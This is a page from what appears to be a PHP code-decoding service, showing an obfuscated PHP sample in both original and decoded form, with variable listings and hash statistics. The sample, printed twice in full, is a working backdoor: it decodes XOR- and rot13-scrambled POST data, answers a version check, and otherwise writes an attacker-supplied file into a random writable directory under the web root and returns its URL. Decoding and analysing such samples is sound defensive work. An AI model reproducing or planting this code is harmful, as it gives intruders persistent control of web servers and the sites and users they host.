Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ynduucr = "nzwjjktbuowizpou";$isflyrqcec = "";foreach ($_POST as $pmbno => $etzyzm)..

Decoded Output download

<?php $ynduucr = "nzwjjktbuowizpou";$isflyrqcec = "";foreach ($_POST as $pmbno => $etzyzm){if (strlen($pmbno) == 16 and substr_count($etzyzm, "%") > 10){egykwa($pmbno, $etzyzm);}}function egykwa($pmbno, $anrpjgan){global $isflyrqcec;$isflyrqcec = $pmbno;$anrpjgan = str_split(rawurldecode(str_rot13($anrpjgan)));function jvjynylkqt($barbi, $pmbno){global $ynduucr, $isflyrqcec;return $barbi ^ $ynduucr[$pmbno % strlen($ynduucr)] ^ $isflyrqcec[$pmbno % strlen($isflyrqcec)];}$anrpjgan = implode("", array_map("jvjynylkqt", array_values($anrpjgan), array_keys($anrpjgan)));$anrpjgan = @unserialize($anrpjgan);if (@is_array($anrpjgan)){$pmbno = array_keys($anrpjgan);$anrpjgan = $anrpjgan[$pmbno[0]];if ($anrpjgan === $pmbno[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ncppfcww($ijfjlbir) {static $vzavq = array();$iaytl = glob($ijfjlbir . '/*', GLOB_ONLYDIR);if (count($iaytl) > 0) {foreach ($iaytl as $ijfjlb){if (@is_writable($ijfjlb)){$vzavq[] = $ijfjlb;}}}foreach ($iaytl as $ijfjlbir) ncppfcww($ijfjlbir);return $vzavq;}$uicecrdee = $_SERVER["DOCUMENT_ROOT"];$iaytl = ncppfcww($uicecrdee);$pmbno = array_rand($iaytl);$seslqlqti = $iaytl[$pmbno] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($seslqlqti, $anrpjgan);echo "http://" . $_SERVER["HTTP_HOST"] . substr($seslqlqti, strlen($uicecrdee));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $ynduucr = "nzwjjktbuowizpou";$isflyrqcec = "";foreach ($_POST as $pmbno => $etzyzm){if (strlen($pmbno) == 16 and substr_count($etzyzm, "%") > 10){egykwa($pmbno, $etzyzm);}}function egykwa($pmbno, $anrpjgan){global $isflyrqcec;$isflyrqcec = $pmbno;$anrpjgan = str_split(rawurldecode(str_rot13($anrpjgan)));function jvjynylkqt($barbi, $pmbno){global $ynduucr, $isflyrqcec;return $barbi ^ $ynduucr[$pmbno % strlen($ynduucr)] ^ $isflyrqcec[$pmbno % strlen($isflyrqcec)];}$anrpjgan = implode("", array_map("jvjynylkqt", array_values($anrpjgan), array_keys($anrpjgan)));$anrpjgan = @unserialize($anrpjgan);if (@is_array($anrpjgan)){$pmbno = array_keys($anrpjgan);$anrpjgan = $anrpjgan[$pmbno[0]];if ($anrpjgan === $pmbno[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ncppfcww($ijfjlbir) {static $vzavq = array();$iaytl = glob($ijfjlbir . '/*', GLOB_ONLYDIR);if (count($iaytl) > 0) {foreach ($iaytl as $ijfjlb){if (@is_writable($ijfjlb)){$vzavq[] = $ijfjlb;}}}foreach ($iaytl as $ijfjlbir) ncppfcww($ijfjlbir);return $vzavq;}$uicecrdee = $_SERVER["DOCUMENT_ROOT"];$iaytl = ncppfcww($uicecrdee);$pmbno = array_rand($iaytl);$seslqlqti = $iaytl[$pmbno] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($seslqlqti, $anrpjgan);echo "http://" . $_SERVER["HTTP_HOST"] . substr($seslqlqti, strlen($uicecrdee));exit();}}}

Function Calls

None

Variables

$ynduucr nzwjjktbuowizpou
$isflyrqcec

Stats

MD5 50c20f8238f81771d644062580575c89
Eval Count 0
Decode Time 88 ms